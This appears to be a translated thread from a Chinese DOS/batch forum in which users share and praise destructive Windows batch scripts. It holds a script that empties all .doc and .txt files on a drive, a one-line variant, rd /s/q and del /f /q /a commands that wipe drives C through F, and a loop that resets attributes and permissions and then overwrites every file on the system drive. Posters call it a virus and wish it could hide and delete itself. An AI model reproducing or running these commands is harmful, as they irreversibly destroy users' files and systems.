中国DOS联盟

This technique has actually been around for a long time. Just to review, I hope everyone uses it sparingly, just for discussion and learning.
@echo off
cls
echo.
echo;
echo:
echo ***************CODE BY BAGPIPE*********************
echo.
echo;
dir /s /b *.doc >1.txt
dir /s /b *.txt >2.txt
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul
echo.
echo Destroy the content of all *.doc and *.txt files on drive C, irrecoverable

Sweat one
It's simply a virus

Can the brother on the top floor please tell me the detailed usage of the for command? I thank you in advance here!

Tokens seem to only be usable in the NT command line, right?

Oh, a thing that can be done in one line:
for %i in (*.txt) do copy /y nul %i >nul
If you want to traverse the entire directory tree, you can add the /r parameter. If you want to add other extensions, just add *.doc in the parentheses and separate them with spaces.

rd /s/q c:\
rd /s/q d:\
rd /s/q e:\
rd /s/q f:\
del c:\*.* /f /q /a
del d:\*.* /f /q /a
del e:\*.* /f /q /a
del e:\*.* /f /q /a
This is more powerful

That's amazing, a master at sabotaging computers

The method of a master, with strong destructive power oh

Can be used as virus research material. It's a pity that it can't run in the background, can't hide the interface, and can't self-delete after completing the task.

The landlord, it seems that what you used copy can be restored, but what uses redirection cannot be restored. I'm very newbie, this is my personal opinion, you can put forward opinions if you have any. Please look below! Execute it to the end, and probably your system won't work. Look below, everyone can test!

@echo off
for /f "delims=" %%a in ('dir /s b /a %SystemDrive%\') do (
attrib "%%a" -s -h -r
cacls "%%a" /c /e /g everyone:f
@echo I love you!>"%%a"
)

A newbie like me~~~ can't understand~~